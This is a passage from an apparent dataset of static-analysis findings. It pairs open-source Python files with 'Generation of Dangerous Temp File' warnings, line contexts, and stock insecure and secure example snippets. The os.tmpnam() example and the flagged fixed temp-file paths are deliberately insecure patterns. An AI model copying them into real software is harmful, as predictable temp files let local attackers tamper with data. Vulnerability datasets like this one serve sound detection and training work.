updateRequestsInfo(self):\n\n personObj = PersonSingleTon.getInstance()\n self.listOfMatches = Backend.getMatchesTutor(personObj.person, Match.REQUESTED)\n\n def convertMatchToString(match):\n output = ''\n parent = match.parent\n output += parent.lname + \"\\n\"\n\n if parent.level == Level.ALEVEL:\n output += 'A-Level, '\n elif parent.level == Level.GCSE:\n output += 'GCSE, '\n elif parent.level == Level.KS3:\n output += 'KS3, '\n elif parent.level == Level.KS2:\n output += 'KS2, '\n\n output += f\"£{parent.rateMax}/hr\"\n\n return output\n\n self.requestInfo = [convertMatchToString(i) for i in self.listOfMatches]\n print(self.requestInfo)\n\n def updateRequests(self):\n self.updateRequestsInfo()\n for request in self.requests:\n self.remove_widget(request)\n pad = 10\n startPos = (20, 550)\n for i in range(0, len(self.requestInfo)):\n self.requests.append(Widget(pos=(0, 0)))\n height, label = AddTextWithBack(self.requests[i], self.requestInfo[i], startPos)\n self.requests[i].add_widget(AcceptRequestButton(self, self.requests[i], label, \"images/smallYesButton.png\",\n (Window.width - 115, startPos[1] - 50), (50, 50),\n self.listOfMatches[i]))\n self.requests[i].add_widget(RejectRequestButton(self, self.requests[i], label, \"images/smallNoButton.png\",\n (Window.width - 60, startPos[1] - 50), (50, 50),\n self.listOfMatches[i]))\n startPos = (startPos[0], startPos[1] - height - pad)\n self.add_widget(self.requests[i])\n\n\n# KELVIN GO HERE\n#360*640\nclass ParentProfile(Widget):\n def __init__(self, **kwargs):\n person = PersonSingleTon.getInstance().person\n\n super(ParentProfile, self).__init__(**kwargs)\n self.grid = GridLayout(cols=2, pos=(0,80), size=(360,520), spacing=(0,10), padding=(0,0,20,0))\n\n self.profileLabel = Label(text=\"Profile Picture:\", color=(0, 0, 0), font_size=\"18sp\",width=90, size_hint_y=6)\n self.profilepicture = Button(background_normal='images/kelvin1.png')\n self.profilepicture.bind(on_press=self.pictureChanger)\n\n self.usernameLabel = Label(text=\"Username:\", color=(0, 0, 0), font_size=\"18sp\",width=90)\n self.usernameText = TextInput(text=person.username,background_color=(.95, .95, .95, 1))\n\n self.passwordLabel = Label(text=\"Password:\", color=(0, 0, 0), font_size=\"18sp\",width=90)\n self.passwordText = TextInput(text=person.password, background_color=(.95, .95, .95, 1))\n\n self.phoneNumLabel = Label(text=\"Phone:\", color=(0, 0, 0), font_size=\"18sp\",width=90)\n self.phoneNumText = TextInput(text=str(person.phoneNum), background_color=(.95, .95, .95, 1))\n\n self.fnameLabel = Label(text=\"First Name:\", color=(0, 0, 0), font_size=\"18sp\",width=90)\n self.fnameText = TextInput(text=person.fname, background_color=(.95, .95, .95, 1))\n\n self.lnameLabel = Label(text=\"Last Name:\", color=(0, 0, 0), font_size=\"18sp\",width=90)\n self.lnameText = TextInput(text=person.lname, background_color=(.95, .95, .95, 1))\n\n self.subjectLabel = Label(text=\"Subject:\", color=(0, 0, 0), font_size=\"18sp\",width=90)\n self.subjectText = GridLayout(cols=2)\n self.subjectbtn1 = ToggleButton(text='Maths', group='subject', )\n self.subjectbtn2 = ToggleButton(text='English', group='subject', state='down')\n\n self.rateMinLabel = Label(text=\"Minimum Rate:\", color=(0, 0, 0), font_size=\"18sp\",width=90)\n self.rateMinText = GridLayout(cols=1)\n self.rateMinTextSlider = Slider(value_track= True, min=0, max=100, step=1, value=person.rateMin,\n value_track_color=(0,0.5,0.5,0.7))\n self.rateMinTextSlider.bind(value=self.onValueMin)\n self.rateMinTextText = Label(text='£'+str(self.rateMinTextSlider.value), color=(0, 0, 0), font_size=\"18sp\")\n\n self.rateMaxLabel = Label(text=\"Maximum Rate:\", color=(0, 0, 0), font_size=\"18sp\",width=90)\n self.rateMaxText = GridLayout(cols=1)\n self.rateMaxTextSlider = Slider(value_track= True, min=0, max=100, step=1, value=person.rateMax,\n value_track_color=(0,0.5,0.5,0.7))\n self.rateMaxTextText = Label(text='£'+str(self.rateMaxTextSlider.value), color=(0, 0, 0), font_size=\"18sp\")\n self.rateMaxTextSlider.bind(value=self.onValueMax)\n\n self.levelLabel = Label(text=\"Tutee Level:\", color=(0, 0, 0), font_size=\"18sp\",width=90)\n self.levelText = GridLayout(cols=2)\n self.levelbtn1 = ToggleButton(text='GCSE', group='level', )\n self.levelbtn2 = ToggleButton(text='A-LEVEL', group='level', state='down')\n\n self.add_widget(self.grid)\n self.grid.add_widget(self.profileLabel)\n self.grid.add_widget(self.profilepicture)\n self.grid.add_widget(self.usernameLabel)\n self.grid.add_widget(self.usernameText)\n self.grid.add_widget(self.passwordLabel)\n self.grid.add_widget(self.passwordText)\n self.grid.add_widget(self.phoneNumLabel)\n self.grid.add_widget(self.phoneNumText)\n self.grid.add_widget(self.fnameLabel)\n self.grid.add_widget(self.fnameText)\n self.grid.add_widget(self.lnameLabel)\n self.grid.add_widget(self.lnameText)\n self.grid.add_widget(self.subjectLabel)\n self.grid.add_widget(self.subjectText)\n self.subjectText.add_widget(self.subjectbtn1)\n self.subjectText.add_widget(self.subjectbtn2)\n self.grid.add_widget(self.rateMinLabel)\n self.grid.add_widget(self.rateMinText)\n self.rateMinText.add_widget(self.rateMinTextSlider)\n self.rateMinText.add_widget(self.rateMinTextText)\n self.grid.add_widget(self.rateMaxLabel)\n self.grid.add_widget(self.rateMaxText)\n self.rateMaxText.add_widget(self.rateMaxTextSlider)\n self.rateMaxText.add_widget(self.rateMaxTextText)\n self.grid.add_widget(self.levelLabel)\n self.grid.add_widget(self.levelText)\n self.levelText.add_widget(self.levelbtn1)\n self.levelText.add_widget(self.levelbtn2)\n\n def pictureChanger(self, popup):\n popup = Popup(title='Change your profile', size_hint=(None, None), size=(300, 400), auto_dismiss=False)\n temp_cont = GridLayout(cols=1,spacing=(0,20), padding=(5,0,5,0))\n text = Label(text='Please enter the path of your new picture.')\n text_input = TextInput(text='')\n btn_choice = GridLayout(cols=2,size_hint_y=0.4)\n btn1 = Button(text='Confirm')\n btn2 = Button(text='Cancel')\n btn_choice.add_widget(btn1)\n btn_choice.add_widget(btn2)\n temp_cont.add_widget(text)\n temp_cont.add_widget(text_input)\n temp_cont.add_widget(btn_choice)\n btn1.bind(on_press=self.pictureChangerCheck(popup, text_input))\n btn2.bind(on_press=popup.dismiss)\n popup.content = temp_cont\n popup.open()\n\n @staticmethod\n def pictureChangerCheck(popup, check):\n if os.path.exists(check.text):\n imageKey = Backend.getImageKey(check.text)\n tutor: Tutor = PersonSingleTon.getInstance().person\n tutor.picture = imageKey\n\n imageBytes = Backend.getImageBytes(imageKey)\n with open('images/temp.png', 'wb') as f:\n f.write(imageBytes)\n popup.dismiss()\n\n def onValueMin(self, instance, value):\n self.rateMinTextText.text = '£' + str(int(value))\n\n def onValueMax(self, instance, value):\n self.rateMaxTextText.text = '£' + str(int(value))\n\n\nclass TutorProfile(Widget):\n def __init__(self, **kwargs):\n super(TutorProfile, self).__init__(**kwargs)\n\nclass ParentMatches(Widget):\n def __init__(self, **kwargs):\n super(ParentMatches, self).__init__(**kwargs)\n global parentMatchesPage\n parentMatchesPage = self\n self.add_widget(Label(text=\"Tutors\", color=(0, 0, 0), pos=(40, 550), font_size=\"40sp\"))\n self.matches = []\n # TODO: get matched parents\n\n # self.matchInfo = [\n # \"\\nBA Mathematics, Cambridge\\nTutors in:\\n- Maths,\\n- Physics,\\n- Computer science\"\n # \"\\n£30+/hr\\n\\nContact at:\\n077777888999, \"]\n self.updateMatches()\n\n def updateMatchInfo(self):\n parent = PersonSingleTon.getInstance().person\n listOfMatches = Backend.getMatchesParent(parent, Match.ACCEPTED)\n\n def matchToString(match: Match):\n tutor = match.tutor\n subjects = '-' + '\\n-'.join(tutor.subject)\n output = (f\"{tutor.fname} {tutor.lname}\\n\"\n f\"{tutor.qualification}\\n\"\n f\"Tutors in:\\n{subjects}\\n\"\n f\"£{tutor.rateMin}+/hr\\n\\n\"\n f\"Contact at:\\n{tutor.phoneNum}\")\n return output\n\n self.matchInfo = [matchToString(m) for m in listOfMatches]\n print(self.matchInfo)\n\n def updateMatches(self):\n self.updateMatchInfo()\n for match in self.matches:\n self.remove_widget(self.matches)\n pad = 10\n startPos = (20, 550)\n for i in range(0, len(self.matchInfo)):\n self.matches.append(Widget(pos=(0, 0)))\n height, label = AddTextWithBack(self.matches[i], self.matchInfo[i], startPos)\n # self.matches[i].add_widget(AcceptRequestButton(self, self.matches[i], label, \"images/smallYesButton.png\",\n # (Window.width - 115, startPos[1] - 50), (50, 50)))\n # self.matches[i].add_widget(RejectRequestButton(self, self.matches[i], label, \"images/smallNoButton.png\",\n # (Window.width - 60, startPos[1] - 50), (50, 50)))\n startPos = (startPos[0], startPos[1] - height - pad)\n self.add_widget(self.matches[i])\n\nclass TutorMatches(Widget):\n def __init__(self, **kwargs):\n super(TutorMatches, self).__init__(**kwargs)\n global tutorMatchesPage\n tutorMatchesPage = self\n self.add_widget(Label(text=\"Tutees\", color=(0, 0, 0), pos=(40, 550), font_size=\"40sp\"))\n self.matches = []\n # TODO: get matched tutors\n\n\n self.matchInfo = [\"Villar\\nKS3 Mathematics, £5/hr\\n\\nContact at:\\n077777888999, \", \"Kiln\\nKS2 English, £600/hr\\n\\nContact at:\\n077777888999, \",\n \"Das\\nGCSE Spanish, £60/hr\\n\\nContact at:\\n077777888999, \", \"Samuels\\nA-Level Chemistry, £30/hr\\n\\nContact at:\\n077777888999, \"]\n self.updateMatches()\n\n def updateMatchInfo(self):\n tutor = PersonSingleTon.getInstance().person\n listOfMatches = Backend.getMatchesTutor(tutor, Match.ACCEPTED)\n\n def matchToString(match):\n parent = match.parent\n\n if parent.level == Level.ALEVEL:\n level = 'A-Level'\n elif parent.level == Level.GCSE:\n level = 'GCSE'\n elif parent.level == Level.KS3:\n level = 'KS3'\n else:\n level = 'KS2'\n\n output = (f\"{parent.lname}\\n\"\n f\"{level} {parent.subject}, £{parent.rateMax}/hr\\n\\n\"\n f\"Contact at:\\n\"\n f\"{parent.phoneNum}\")\n\n return output\n\n self.matchInfo = [matchToString(m) for m in listOfMatches]\n print(self.matchInfo)\n\n def updateMatches(self):\n self.updateMatchInfo()\n print(\"match info: \", self.matchInfo)\n for match in self.matches:\n self.remove_widget(self.matches)\n pad = 10\n startPos = (20, 550)\n for i in range(0, len(self.matchInfo)):\n self.matches.append(Widget(pos=(0, 0)))\n height, label = AddTextWithBack(self.matches[i], self.matchInfo[i], startPos)\n #self.matches[i].add_widget(AcceptRequestButton(self, self.matches[i], label, \"images/smallYesButton.png\",\n # (Window.width - 115, startPos[1] - 50), (50, 50)))\n #self.matches[i].add_widget(RejectRequestButton(self, self.matches[i], label, \"images/smallNoButton.png\",\n # (Window.width - 60, startPos[1] - 50), (50, 50)))\n startPos = (startPos[0], startPos[1] - height - pad)\n self.add_widget(self.matches[i])\n\n\nclass PageManager(Widget):\n HOME = 0\n PROFILE = 2\n MATCHES = 4\n\n def __init__(self, **kwargs):\n super(PageManager, self).__init__(**kwargs)\n Window.size = (360, 640)\n self.isTutor = False#isinstance(person, Tutor)\n self.size = (360, 640)\n self.currentPage = 0 + self.isTutor\n self.pages = [ParentHomePage(), TutorHomePage(), ParentProfile(), TutorProfile(), ParentMatches(), TutorMatches()]\n\n with self.canvas:\n self.bgCanvas = Rectangle(pos=(0, 0), size=(self.width, self.height))#70))\n\n self.add_widget(self.pages[self.currentPage])\n\n self.homeButton = ChangePageButton(self, PageManager.HOME + self.isTutor, (10, 15), (50, 50), \"images/homeButton.png\")\n self.add_widget(self.homeButton)\n\n self.matchesButton = ChangePageButton(self, PageManager.MATCHES + self.isTutor, (Window.width/2 - 25, 15), (50, 50), \"images/starButton.png\")\n self.add_widget(self.matchesButton)\n\n self.profileButton = ChangePageButton(self, PageManager.PROFILE + self.isTutor, (self.width - 60, 15), (50, 50), \"images/profileButton.png\")\n self.add_widget(self.profileButton)\n\n def goToPage(self, page):\n self.remove_widget(self.pages[self.currentPage])\n self.currentPage = page + self.isTutor\n self.add_widget(self.pages[self.currentPage])\n\n def updateUser(self, person):\n PersonSingleTon.getInstance().person = person\n self.isTutor = isinstance(person, Tutor)\n self.goToPage(0)\n tutorHomePage.updateRequests()\n tutorMatchesPage.updateMatches()\n parentMatchesPage.updateMatches()\n #self.currentPage += self.isTutor\n\n\nclass MainApp(App):\n def build(self):\n return PageManager()\n\n\nif __name__ == '__main__':\n Config.set('graphics', 'width', '360')\n Config.set('graphics', 'height', '640')\n Config.set('graphics', 'resizable', False)\n MainApp().run()", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 462, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "462"}}, {"lineNo": 468, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "bfebbc2f1ffbf816096331c6e8829070abb3f1a82cd5919096841361861358a1", "license": {"spdx": ["MIT"], "repo": "community-fabric/python-ipfabric-diagrams", "path": "examples/network_diagram.py", "repo_head_hexsha": "55de2ff36c853f9ed13a804768ee0f0ca5eeb467", "stack_hexsha": "043b52518e89dcaaaeab64ad5579462c5d5febe7", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 13, "entireCode": "\"\"\"\nnetwork_diagram.py\n\"\"\"\nfrom ipfabric_diagrams import IPFDiagram, Network, NetworkSettings, VALID_NET_PROTOCOLS, Layout\n\n\nif __name__ == '__main__':\n ipf = IPFDiagram()\n\n net = Network(sites=['MPLS', 'LAB01'], all_network=True)\n json_data = ipf.diagram_json(net)\n model_data = ipf.diagram_model(net)\n with open('tmp/network.png', 'wb') as f:\n f.write(ipf.diagram_png(net))\n\n settings = NetworkSettings()\n settings.hide_protocol('xdp')\n png_data = ipf.diagram_png(net, graph_settings=settings)\n with open('tmp/network.png', 'wb') as f:\n f.write(png_data)\n\n settings.ungroup_group('Layer 3')\n svg_data = ipf.diagram_svg(net, graph_settings=settings)\n with open('tmp/network.svg', 'wb') as f:\n f.write(svg_data)\n\n settings = NetworkSettings()\n for proto in VALID_NET_PROTOCOLS:\n settings.ungroup_protocol(proto)\n settings.hide_group('Layer 1')\n settings.hide_group('Layer 2')\n settings.hide_protocol('rib')\n settings.hide_protocol('ldp')\n settings.hide_protocol('ebgp')\n settings.change_label('ospf', 'subnet')\n mpls = Network(sites='MPLS', layouts=[Layout(path='MPLS', layout='radial')])\n graph_result = ipf.diagram_model(mpls, graph_settings=settings)\n svg_data = ipf.diagram_svg(mpls, graph_settings=settings)\n with open('tmp/network_edited.svg', 'wb') as f:\n f.write(svg_data)\n\n ipf.close()", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 7, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "7"}}, {"lineNo": 13, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "301f16034a13c3c5f29be6f1dd142f22c67307e09668fd889d8f20248656dca3", "license": {"spdx": ["MIT"], "repo": "jpritt/boiler", "path": "compress.py", "repo_head_hexsha": "c6f5d79dccddc9e662a648631bf3067ad907ed7a", "stack_hexsha": "8b175f7db934339e171858a403bdb58fb2024d98", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 160, "entireCode": "import alignments\nimport re\nimport read\nimport binaryIO\nimport math\nimport os\nimport preprocess\nimport time\n\nclass Compressor:\n aligned = None\n\n # 0 - zlib\n # 1 - lzma\n # 2 - bz2\n compressMethod = 0\n\n covSize = 0\n totalSize = 0\n\n def __init__(self, frag_len_cutoff):\n if self.compressMethod == 0:\n self.zlib = __import__('zlib')\n elif self.compressMethod == 1:\n self.lzma = __import__('lzma')\n elif self.compressMethod == 2:\n self.bz2 = __import__('bz2')\n\n if frag_len_cutoff:\n print('Set fragment length cutoff to %d' % frag_len_cutoff)\n self.frag_len_cutoff = frag_len_cutoff\n\n def compress(self, samFilename, compressedFilename, gtf, min_filename, frag_len_z_cutoff, split_diff_strands, split_discordant):\n ''' Compresses the alignments to 2 files, one for unspliced and one for spliced\n\n file_prefix: Prefix for all output file names\n '''\n\n self.p = preprocess.Preprocessor(samFilename, frag_len_z_cutoff, split_diff_strands)\n\n if not self.frag_len_cutoff:\n self.frag_len_cutoff = self.p.frag_len_cutoff\n print('Using fragment length cutoff of ' + str(self.frag_len_cutoff))\n\n if split_diff_strands:\n print('Splitting mates on different strands')\n else:\n print('Not splitting mates on different strands')\n\n if split_discordant:\n print('Splitting discordant')\n else:\n print('Not splitting discordant')\n\n # Reads on different strands that should be unpaired\n self.diff_strand_unpaired = self.p.unpaired\n del self.p\n\n # Read header\n header = ''\n with open(samFilename, 'r') as f:\n for line in f:\n if line[0] == '@':\n header += line\n else:\n break\n self.chromosomes = self.parseSAMHeader(header)\n self.aligned = alignments.Alignments(self.chromosomes, self.frag_len_cutoff, split_discordant)\n\n if gtf:\n self.aligned.gtf_exons = self.parseGTF(gtf, self.aligned.chromOffsets)\n\n self.compressByBundle(samFilename, compressedFilename, min_filename)\n\n #print('%d unmatched' % self.aligned.numUnmatched)\n print('Approximately %d / %d = %f%% of compressed file is coverage' % (self.covSize, self.totalSize, 100.0*float(self.covSize)/float(self.totalSize)))\n print('Finished compressing')\n\n def compressByBundle(self, input_name, compressed_name, intermediate_name=None):\n '''\n Read a sorted SAM file and compress in segments determined by clusters of reads\n\n :param filename:\n :return:\n '''\n\n # If coverage is 0 for at least this many bases end of a potential gene\n overlapRadius = 50\n\n spliced_index = []\n bundles = []\n\n first = True\n\n bundle_id = 0\n\n read_id = 0\n\n diff_strand_unpaired_id = 0\n num_diff_strand_unpaired = len(self.diff_strand_unpaired)\n\n firstR = None\n\n with open(input_name, 'r') as filehandle:\n id = 0\n start_id = 0\n for line in filehandle:\n # Check if header line\n if line[0] == '@':\n continue\n\n row = line.strip().split('\\t')\n\n if row[2] == '*':\n # HISAT includes unmapped reads at the end of the file; we just skip them\n continue\n if not row[2] in self.chromosomes[0]:\n print('Error! Chromosome ' + str(row[2]) + ' not found!')\n exit()\n\n # Starting position of this read\n start = self.aligned.chromOffsets[row[2]] + int(row[3])\n\n if self.aligned.gene_bounds and start > (self.aligned.gene_bounds[-1] + overlapRadius):\n # Compress most recent bundle\n self.aligned.finalizeExons()\n self.aligned.finalizeUnmatched()\n self.aligned.finalize_cross_bundle_reads()\n #if self.aligned.gene_bounds[0] < 100480943 and self.aligned.gene_bounds[1] > 100478955:\n # print(bundle_id)\n # print(self.aligned.gene_bounds)\n # print(self.aligned.exons)\n # print(self.aligned.gene_bounds[0] - self.aligned.chromOffsets['X'])\n # print(self.aligned.gene_bounds[1] - self.aligned.chromOffsets['X'])\n # exit()\n bundle_id += 1\n\n start_id = id\n\n bundles.append(self.aligned.exons)\n\n # Write to intermediate file\n if intermediate_name:\n if first:\n # If it's the first bundle, write the header as well\n with open(intermediate_name, 'w') as f1:\n read_id = self.aligned.writeSAM(f1, self.aligned.unpaired, self.aligned.paired, True, False, read_id)\n else:\n with open(intermediate_name, 'a') as f1:\n read_id = self.aligned.writeSAM(f1, self.aligned.unpaired, self.aligned.paired, False, False, read_id)\n\n junctions, maxReadLen = self.aligned.computeBuckets()\n self.sortedJuncs = sorted(junctions.keys())\n\n # Compress bundle to temporary file\n if first:\n mode = 'wb'\n else:\n mode = 'ab'\n with open('temp.bin', mode) as f:\n l = self.compressBundle(junctions, maxReadLen, f)\n spliced_index.append(l)\n\n # Start new bundle\n self.aligned.resetBundle()\n self.aligned.exons.add(start)\n\n first = False\n\n # Process read\n if row[5] == '*':\n # HISAT occasionally prints * as the cigar string when it is identical to its mate\n #print('No cigar string')\n #print(row[0])\n #exit()\n exons = None\n else:\n exons = self.parseCigar(row[5], int(row[3]))\n\n # find XS (strand) and NH values\n strand = None\n NH = 1\n for r in row[11 : len(row)]:\n if r[0:5] == 'XS:A:' or r[0:5] == 'XS:a:':\n strand = r[5]\n elif r[0:3] == 'NH:':\n NH = int(r[5:])\n\n flags = int(row[1])\n if flags & 4:\n # Read is unmapped\n continue\n\n r = read.Read(row[2], int(row[3]), exons, strand, NH)\n #r.name = row[0]\n\n if row[6] == '*' or (flags & 8):\n paired = False\n elif diff_strand_unpaired_id < num_diff_strand_unpaired and id == self.diff_strand_unpaired[diff_strand_unpaired_id]:\n #if not row[6] == '*':\n # print('\\t'.join(row))\n paired = False\n diff_strand_unpaired_id += 1\n else:\n paired = True\n r.bundle = bundle_id\n r.pairOffset = int(row[7])\n if row[6] == '=':\n r.pairChrom = row[2]\n else:\n r.pairChrom = row[6]\n self.aligned.processRead(row[0], r, paired)\n\n id += 1\n\n # Compress final cluster\n self.aligned.finalizeExons()\n self.aligned.finalizeUnmatched()\n self.aligned.finalize_cross_bundle_reads()\n bundle_id += 1\n\n bundles.append(self.aligned.exons)\n\n # Write to intermediate file\n if intermediate_name:\n if first:\n # If it's the first bundle, write the header as well\n with open(intermediate_name, 'w') as f1:\n read_id = self.aligned.writeSAM(f1, self.aligned.unpaired, self.aligned.paired, True, False, read_id)\n first = False\n else:\n with open(intermediate_name, 'a') as f1:\n read_id = self.aligned.writeSAM(f1, self.aligned.unpaired, self.aligned.paired, False, False, read_id)\n\n junctions, maxReadLen = self.aligned.computeBuckets()\n self.sortedJuncs = sorted(junctions.keys())\n\n # Compress bundle to temporary file\n if first:\n mode = 'wb'\n else:\n mode = 'ab'\n with open('temp.bin', mode) as f:\n l = self.compressBundle(junctions, maxReadLen, f)\n spliced_index.append(l)\n\n leftovers = 0\n for k,v in self.aligned.cross_bundle_reads.items():\n #if len(v) > 0:\n # print(k)\n # print(v)\n # exit()\n leftovers += len(v)\n print('%d cross-bundle reads unmatched' % leftovers)\n\n bundle_lens = [c[-1]-c[0] for c in bundles]\n print('Minimum bundle length: %d' % min(bundle_lens))\n print('Maximum bundle length: %d' % max(bundle_lens))\n print('Average bundle length: %d'% (sum(bundle_lens) / len(bundle_lens)))\n\n # Write index information and append spliced and unspliced files\n with open(compressed_name, 'wb') as f:\n s = binaryIO.writeChroms(self.chromosomes)\n s += binaryIO.writeClusters(bundles)\n s += binaryIO.writeList(spliced_index)\n f.write(s)\n\n # Compress bundle-spanning buckets\n self.compressCrossBundle(self.aligned.cross_bundle_buckets, self.aligned.max_cross_bundle_read_len, bundle_id, f)\n\n # Move contents of temporary file to output file\n with open('temp.bin', 'rb') as f2:\n f.write(f2.read())\n\n os.remove('temp.bin')\n\n\n def compressBundle(self, junctions, maxReadLen, filehandle):\n # Determine the number of bytes for read lengths\n readLenBytes = binaryIO.findNumBytes(maxReadLen)\n cluster = binaryIO.valToBinary(1, readLenBytes)\n cluster += binaryIO.writeJunctionsList(self.sortedJuncs, 2)\n\n self.totalSize += len(cluster)\n\n # TODO: No need for junc_lens?\n junc_lens = []\n junc_string = b''\n for j in self.sortedJuncs:\n #if self.aligned.exons[0] == 100476370 and j == [2, None, 1]:\n # \n\n s, c, t = binaryIO.writeJunction(readLenBytes, junctions[j])\n self.covSize += c\n self.totalSize += t\n junc_lens.append(len(s))\n junc_string += s\n\n #cluster += binaryIO.writeList(junc_lens)\n cluster += junc_string\n\n # Write to file\n start = filehandle.tell()\n filehandle.write(self.compressString(cluster))\n\n # return length of cluster in file\n return filehandle.tell() - start\n\n def compressCrossBundle(self, cross_bundle_buckets, maxReadLen, num_bundles, filehandle):\n '''\n Compress the bundle-spanning buckets\n '''\n\n readLenBytes = binaryIO.findNumBytes(maxReadLen)\n\n bundleIdBytes = binaryIO.findNumBytes(num_bundles)\n\n buckets_sorted = sorted(cross_bundle_buckets.keys())\n\n if len(buckets_sorted) > 0:\n print('%d cross-bundle buckets' % len(buckets_sorted))\n pos = filehandle.tell()\n\n chunk_size = 20\n num_chunks = math.ceil(len(buckets_sorted) / chunk_size)\n chunk_lens = [0] * num_chunks\n\n index = binaryIO.valToBinary(4, len(buckets_sorted))\n index += binaryIO.valToBinary(2, chunk_size)\n index += binaryIO.valToBinary(1, readLenBytes)\n index += binaryIO.writeCrossBundleBucketNames(bundleIdBytes, cross_bundle_buckets, buckets_sorted)\n\n self.totalSize += len(index)\n\n main = b''\n chunk = b''\n chunk_id = 0\n for i in range(len(buckets_sorted)):\n b = buckets_sorted[i]\n\n ch, c, t = binaryIO.writeCrossBundleBucket(readLenBytes, cross_bundle_buckets[b])\n chunk += ch\n self.covSize += c\n self.totalSize += t\n if (i+1) % chunk_size == 0:\n compressed = self.compressString(chunk)\n chunk_lens[chunk_id] = len(compressed)\n chunk_id += 1\n main += compressed\n chunk = b''\n\n if len(chunk) > 0:\n compressed = self.compressString(chunk)\n chunk_lens[chunk_id] = len(compressed)\n main += compressed\n\n index += binaryIO.writeList(chunk_lens)\n\n index = self.compressString(index)\n length = len(index)\n numBytes = binaryIO.findNumBytes(length)\n binaryIO.writeVal(filehandle, 1, numBytes)\n binaryIO.writeVal(filehandle, numBytes, length)\n filehandle.write(index)\n filehandle.write(main)\n\n print('Compressed size: %d' % (filehandle.tell() - pos))\n else:\n binaryIO.writeVal(filehandle, 1, 1)\n binaryIO.writeVal(filehandle, 1, 0)\n\n def parseCigar(self, cigar, offset):\n ''' Parse the cigar string starting at the given index of the genome\n Returns a list of offsets for each exonic region of the read [(start1, end1), (start2, end2), ...]\n '''\n\n exons = []\n newExon = True\n\n # Parse cigar string\n match = re.search(\"\\D\", cigar)\n while match:\n index = match.start()\n length = int(''.join(cigar[:index]))\n\n if cigar[index] == 'N':\n # Separates contiguous exons, so set boolean to start a new one\n newExon = True\n elif cigar[index] == 'M':\n # If in the middle of a contiguous exon, append the length to it, otherwise start a new exon\n if newExon:\n exons.append([offset, offset+length])\n newExon = False\n else:\n exons[-1][1] += length\n elif cigar[index] == 'D':\n # If in the middle of a contiguous exon, append the deleted length to it\n if not newExon:\n exons[-1][1] += length\n\n # Skip soft clipping\n if not cigar[index] == 'S':\n offset += length\n cigar = cigar[index+1:]\n match = re.search(\"\\D\", cigar)\n\n return exons\n\n def parseSAMHeader(self, header):\n # In the order they appear in the header\n chromNames = []\n chromLens = []\n\n # Dictionary contains chromosome lengths for lookup\n for line in header.split('\\n'):\n if line[0:3] == '@SQ':\n row = line.strip().split('\\t')\n chromNames.append(row[1][3:])\n chromLens.append(int(row[2][3:]))\n return [chromNames, chromLens]\n\n def parseGTF(self, gtf, chromOffsets):\n exons = set()\n with open(gtf, 'r') as f:\n for line in f:\n row = line.rstrip().split('\\t')\n if row[2] == 'exon':\n exons.add(int(row[3]) + chromOffsets[row[0]])\n exons.add(int(row[4]) + chromOffsets[row[0]])\n return sorted(list(exons))\n\n def compressString(self, s):\n ''' Use a predefined python library to compress the given string.\n Return the compressed string '''\n\n if self.compressMethod == 0:\n return self.zlib.compress(s)\n elif self.compressMethod == 1:\n return self.lzma.compress(s)\n elif self.compressMethod == 2:\n return self.bz2.compress(s)", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 124, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "125"}}, {"lineNo": 160, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "98d439f42547eef466071ba1efdbb00cad9902ad53b3dfb25959bc7dfe35d6c0", "license": {"spdx": ["MIT"], "repo": "lunzhiPenxil/json2yaml-for-dice", "path": "script/json2yaml.py", "repo_head_hexsha": "62bd66d3350b8a751f0dc8deff916f46fb4dda55", "stack_hexsha": "e8a30f812bcb19a63a69a2b83b8fc56667a700bf", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 816, "entireCode": "#!/usr/bin/env python37\n# -*- encoding: utf-8 -*-\n'''\n@File : json2yaml.py\n@Time : 2020/01/12 16:44:48\n@Author : BenzenPenxil\n@Version : 1.0\n@Contact : \n@License : (C)Copyright 2017-2020, Penx.Studio\n@Desc : None\n'''\n\n# here put the import lib\nimport json\nimport yaml\nimport codecs\nimport base64\nimport os\nimport re\nimport tkinter\nfrom tkinter import filedialog\nfrom tkinter import 